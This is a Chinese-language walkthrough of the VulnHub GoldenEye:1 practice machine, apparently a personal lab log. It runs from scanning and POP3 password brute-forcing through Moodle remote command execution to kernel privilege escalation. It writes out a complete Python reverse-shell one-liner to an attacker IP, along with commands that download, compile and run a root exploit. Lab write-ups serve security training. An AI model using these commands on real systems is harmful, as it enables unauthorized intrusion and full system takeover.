《VulnHub》GoldenEye:1
@TOC
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。
1:靶场信息
靶场地址:
https://www.vulnhub.com/entry/goldeneye-1,240/
2:打靶
2.1:情报收集 & 威胁建模
主机发现:nmap 192.168.8.0/24 -sn
可以确定目标 ip:192.168.8.137。
进行端口扫描、服务探测、OS 探测:nmap 192.168.8.137 -p- -sC -sV -O
1 | ┌──(root㉿kali)-[~] |
先访问 80 端口看看。
给出了一个登录地址。查看源码还可以发现一个 js 文件。
terminal.js 内容如下。
1 | var data = [ |
访问登录地址。
terminal.js 文件中的 html 编码字符串解密如下:
1 | InvincibleHack3r |
除此以外从 js 文件中还可以得到两个名字:Boris、Natalya。
以此尝试一下登录,最终得到用户名与密码:
1 | username: boris |
登录后页面如下,提示了可能需要从 pop3 服务入手。
那就尝试爆破一下邮件服务密码。
将要使用的用户名写入文件。echo -e 'boris\nnatalya' > name.txt
使用 hydra 爆破 pop3。hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3
爆破出了两个账户。
1 | login: boris password: secret1! |
接下来可以通过 nc 登录 pop3 查看邮件。
1 | nc -nv 192.168.8.137 55007 # 登录邮箱 |
接下来查看一下 natalya 用户的邮件。
获得了一个用户信息。
1 | username: xenia |
除此以外获得了一个域名与网址信息。
1 | severnaya-station.com |
如果直接用 ip 访问是以下效果:
那就将 ip 与域名映射写进 hosts 文件。
1 | 192.168.8.137 severnaya-station.com |
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts
再次访问网站:
网站 CMS 为 Moodle。
也可以用 whatweb
工具检测:whatweb http://severnaya-station.com/gnocertdir/
网站需要登录,尝试使用以下用户信息登录网站:
1 | username: xenia |
查看未读邮件。
这里发现 CMS 为 Moodle 2.2.3。
得到了一个新用户:doak
使用 hydra 爆破一下 pop3。hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3
爆破出用户名与密码:
1 | login: doak password: goat |
通过 nc 登录 pop3 查看邮件。
1 | nc -nv 192.168.8.137 55007 # 登录邮箱 |
获得了一个用户信息。
1 | username: dr_doak |
用这个用户信息登录进网站:
发现一个私人文件,下载后查看。
给了一个网址目录:
/dir007key/for-007.jpg
访问查看:
根据邮件提示检查一下图片,先将图片下载。wget http://severnaya-station.com/dir007key/for-007.jpg
之后可以用以下工具进行分析:
binwalk
:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码exiftool
:图虫,解析图片 exif 信息strings
:用于打印文件中可打印字符串(ASCII 码)
识别出一串 base64 编码:
1 | eFdpbnRlcjE5OTV4IQ== |
解码:
1 | eFdpbnRlcjE5OTV4IQ== |
根据邮件中提示猜测这是 admin 账户的密码。
尝试登录网站:
没有发现什么可以利用的。
那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。
关键字:Moodle 2.2.3 poc exp
发现 CVE-2013-3630 漏洞。尝试利用。
漏洞 exp 详情:
《Moodle - Remote Command Execution (Metasploit)》:
https://www.exploit-db.com/exploits/29324
从 exp 中可以看到,需要将拼写检查 google spell 换成 PSpellSHell。
刚好用 admin 登录的 CMS 后台可以进行此设置。
原因是目标主机上不存在 GCC 编译,只能 CC 编译,所以需要把 Google Spell 改成 PSpellShell。
2.2:漏洞分析 & 渗透攻击
启动 MSF。msfdb init && msfconsole
查找相关漏洞。search CVE-2013-3630
使用序号为 0 的模块进行渗透。
1 | use 0 |
为了获得反弹 shell 的会话,还需要设置 payload。
1 | set payload cmd/unix/reverse # 使用 cmd/unix/reverse |
执行。
好,失败了。
查阅资料发现可能是 msf 版本过高问题,但也发现了手工利用的方法。
《VulnHub-GoldenEye-1 靶场渗透测试》:
https://www.freebuf.com/articles/web/260592.html
开始手工利用漏洞。
在下图所示路径设置中更改为以下 payload:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
然后在 kali 终端使用 nc 监听相应端口。nc -lnvp 6666
之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。
目标机安装了 python,可以使用 ptyhon 获取 tty,不然有些命令无法执行。python -c 'import pty; pty.spawn("/bin/bash")'
teletypewriter(tty),表示终端或终端模拟器。
至此获取了目标机器一个低权限 shell。
2.3:后渗透
进行提权。
查看一下系统内核:uname -a
搜索一下相关的内核漏洞。
得到 EDB-ID:37292
搜索 kali 本地 exp 库中 37292 攻击脚本信息。searchsploit 37292
将该文件复制到一个目录中。
1 | cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/ |
查看目标机器,发现目标没有安装 gcc
,但安装了 cc
。还安装了 wget
C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。
原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。
在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。python3 -m http.server 8088
目标机器中,进入 /tmp/ 目录,下载。wget http://192.168.8.15:8088/37292.c
编译,并给可执行文件赋权,然后执行。
1 | cc -o rootshell 37292.c |
成功提权至 root。
最后使用 ptyhon 获取 tty。python -c 'import pty; pty.spawn("/bin/bash")'
完结撒花!
3:总结
该靶场要点在于对敏感信息泄露的收集。
3.1:命令 & 工具
- nmap
- BurpSuite
- hydra
- netcat
- whatweb
- binwalk
- exiftool
- strings
- Exploit Database
https://www.exploit-db.com/ - MSF
- python
- uname
- searchsploit
- cc
- wget
3.2:关键技术
主机发现:
nmap <ip cidr> -sn
目标信息扫描,端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sC -sV -O
源码 js 文件泄露敏感信息,html 编码字符串解密。
hydra 爆破邮件服务(pop3):
hydra -L <name file> -P <password file> <target> -s <port> pop3
hydra -l <name> -P <password file> <target> -s <port> pop3
netcat 登录查看邮件:
1 | nc -nv <target> <port> # 登录邮箱 |
邮件泄露敏感信息。
ip 与域名映射写进 hosts 文件。
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hostswhatweb 工具检测网站:
whatweb <URL>
wget 下载文件:
wget <URI>
图片隐写分析:
binwalk
:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码exiftool
:图虫,解析图片 exif 信息strings
:用于打印文件中可打印字符串(ASCII 码)CVE-2013-3630 漏洞利用。(msf 利用、手工利用)
python 反弹 shell:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
netcat 监听端口反弹 shell:
nc -lnvp <port>
使用 ptyhon 获取 tty(teletypewriter,表示终端或终端模拟器):
python -c 'import pty; pty.spawn("/bin/bash")'
查看系统内核:
uname -a
CVE-2015-1328 漏洞利用。EDB-ID:37292。
搜索 kali 本地 exp 库中攻击脚本信息:
searchsploit <ID>
在目录下开启一个简单 http 服务:
python3 -m http.server <port>
编译 c 文件,并赋权,执行。(利用系统内核漏洞提权)
1 | cc -o <filename> <c file> |
人之忌,在好为人师。
——《孟子》(战国)